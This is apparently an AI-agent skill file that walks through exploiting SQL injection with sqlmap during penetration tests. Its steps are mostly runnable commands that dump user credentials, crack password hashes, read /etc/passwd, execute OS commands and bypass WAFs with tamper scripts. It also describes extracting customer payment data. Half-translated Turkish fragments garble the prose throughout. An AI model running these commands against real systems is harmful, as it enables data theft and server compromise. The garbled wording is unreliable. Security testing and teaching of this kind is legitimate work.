Exploiting Sql Injection With Sqlmap

---
name: exploiting-sql-injection-with-sqlmap
description: Tespit etme and exploiting SQL injection vulnerabilities using sqlmap to extract database contents during authorized penetration tests.
tags:
- sql-injection
- web-security
- sqlmap
- owasp
- fetih
- database-security
- web-application-security
- cybersecurity
- penetration-testing
- siber-güvenlik
triggers:
- CSRF
- SQL injection
- XSS
- authentication
- dns
- email
- exploit
- exploiting
- hash
- http
- injection
- log
category: web-application-security
source_subdomain: web-application-security
nist_csf:
- PR.PS-01
- ID.RA-01
- PR.DS-10
- DE.CM-01
adapted_for: fetih
---

# Exploiting Sql Injection with Sqlmap


## Ne Zaman Kullanılır

- During authorized web application penetration testing engagements
- manual yaparken: testing reveals potential SQL injection points in parameters, headers, or cookies
- For validating SQL injection Bul:ings from automated scanners like Burp Suite or OWASP ZAP
- you need durumunda to demonstrate the impact of SQL injection by extracting data from backend databases
- During CTF challenges involving SQL injection exploitation

## Ön Gereksinimler

- **Authorization**: Written penetration testing agreement (Rules of Engagement) for the target
- **sqlmap**: Install via `pip install sqlmap` or `apt install sqlmap` on Kali Linux
- **Python 3.6+**: Required runtime for sqlmap
- **Burp Suite** (optional): For capturing and replaying HTTP requests
- **Target access**: Network connectivity to the target web application
- **Browser with proxy**: Firefox with FoxyProxy for intercepting requests

## İş Akışı

### Adım 1: Identify Potential Injection Points

Manually browse the application and identify parameters that interact with the database. Use Burp Suite to capture requests.

```bash

curl -k "https://target.example.com/products?id=1'"
```

### Adım 2: Run sqlmap Basic Tespit Scan

Launch sqlmap against the suspected injection point to confirm the vulnerability and the tespit et: database type.

```bash
sqlmap -u "https://target.example.com/products?id=1" --batch --random-agent

sqlmap -r request.txt --batch --random-agent

sqlmap -u "https://target.example.com/login" \
  --data="username=admin&password=test" \
  -p "username" --batch --random-agent

sqlmap -u "https://target.example.com/dashboard" \
  --cookie="session=abc123; user_id=5" \
  -p "user_id" --batch --random-agent
```

### Adım 3: Enumerate Database Structure

Once injection is confirmed, enumerate databases, tables, and columns.

```bash
sqlmap -u "https://target.example.com/products?id=1" --dbs --batch --random-agent

sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db --tables --batch --random-agent

sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users --columns --batch --random-agent
```

### Adım 4: Extract Data from Target Tables

Dump the contents of sensitive tables to demonstrate impact.

```bash
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users -C "username,password,email" \
  --dump --batch --random-agent

sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users --dump --start=1 --stop=10 \
  --batch --random-agent

sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users -C "username,password" \
  --dump --batch --passwords --random-agent
```

### Adım 5: Test for Advanced Exploitation Vectors

Assess the full impact by testing OS-level access and file operations.

```bash
sqlmap -u "https://target.example.com/products?id=1" \
  --current-user --current-db --is-dba --batch --random-agent

sqlmap -u "https://target.example.com/products?id=1" \
  --file-read="/etc/passwd" --batch --random-agent

sqlmap -u "https://target.example.com/products?id=1" \
  --os-cmd="whoami" --batch --random-agent
```

### Adım 6: Use Tamper Scripts to Bypass WAF/Filters

When Web Application Firewalls or input filters block basic payloads, use tamper scripts.

```bash
sqlmap -u "https://target.example.com/products?id=1" \
  --tamper="space2comment,between,randomcase" \
  --batch --random-agent

sqlmap -u "https://target.example.com/products?id=1" \
  --tamper="modsecurityversioned,modsecurityzeroversioned" \
  --batch --random-agent

sqlmap --list-tampers
```

### Adım 7: Generate Report and Clean Up

Document Bul:ings and clean up any artifacts.

```bash
ls -la ~/.local/share/sqlmap/output/target.example.com/

sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users --dump \
  --output-dir="/tmp/pentest-results" \
  --batch --random-agent

sqlmap --purge
```

## Key Concepts

| Concept | Description |
|---------|-------------|
| **Union-based SQLi** | Uses UNION SELECT to append attacker query results to the original query output |
| **Blind Boolean SQLi** | Infers data one bit at a time by observing true/false application responses |
| **Blind Time-based SQLi** | Uses database sleep functions (e.g., `SLEEP(5)`) to infer data based on response delays |
| **Error-based SQLi** | Extracts data through verbose database error messages returned in HTTP responses |
| **Stacked Queries** | Executes multiple SQL statements separated by semicolons for INSERT/UPDATE/DELETE operations |
| **Out-of-band SQLi** | Exfiltrates data via DNS or HTTP requests initiated by the database server |
| **Tamper Scripts** | sqlmap plugins that modify payloads to bypass WAFs and input sanitization filters |
| **Second-order SQLi** | Injected payload is stored and executed later in a different query context |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| **sqlmap** | Automated SQL injection Tespit and exploitation framework |
| **Burp Suite Professional** | HTTP proxy for intercepting, modifying, and replaying requests |
| **OWASP ZAP** | Free alternative to Burp for web application scanning and proxying |
| **Havij** | Automated SQL injection tool with GUI (Windows) |
| **jSQL Injection** | Java-based GUI tool for SQL injection testing |
| **DBeaver/DataGrip** | Database clients for verifying extracted data structure |

## Common Scenarios

### Scenario 1: E-commerce Product Page SQLi
A product detail page uses `id` parameter directly in SQL query. Use sqlmap to Şunu çıkar: full customer database including payment information to demonstrate critical business impact.

### Scenario 2: Login Form Bypass
A login form concatenates user input into an authentication query. Exploit to bypass authentication and enumerate all user credentials stored in the database.

### Scenario 3: Search Function with WAF Protection
A search feature is vulnerable to SQL injection but protected by a WAF. Use tamper scripts like `space2comment` and `between` to encode payloads and bypass the filter rules.

### Scenario 4: Cookie-based Blind SQL Injection
A session cookie value is used in a database query on the server side. Use time-based blind injection techniques to extract data character by character.

## Output Format

```
## SQL Injection Bul:ing

**Vulnerability**: SQL Injection (Union-based)
**Severity**: Critical (CVSS 9.8)
**Location**: GET parameter `id` at /products?id=1
**Database**: MySQL 8.0.32
**Impact**: Full database read access, 15,000 user records exposed
**OWASP Category**: A03:2021 - Injection

### Evidence
- Injection point: `id` parameter (GET)
- Technique: UNION query-based
- Backend DBMS: MySQL >= 5.0
- Current user: app_user@localhost
- DBA privileges: No

### Databases Enumerated
1. information_schema
2. target_app_db
3. mysql

### Sensitive Data Exposed
- Table: users (15,247 rows)
- Columns: id, username, email, password_hash, created_at

### Recommendation
1. Use parameterized queries (prepared statements) for all database interactions
2. Implement input validation with allowlists for expected data types
3. Apply least-privilege database permissions for the application user
4. Dağıt: a Web Application Firewall as defense-in-depth
5. Enable database query logging and monitoring for anomalous patterns
```

<!--
  ⚔ Bu skill FETIH AI Agent icin gelistirilmistir — https://github.com/MustafaKemal0146/fetih
  Yetkisiz kullanim/kopyalama tespit edilebilir.
  hash: 4c0f495adcf868c2
-->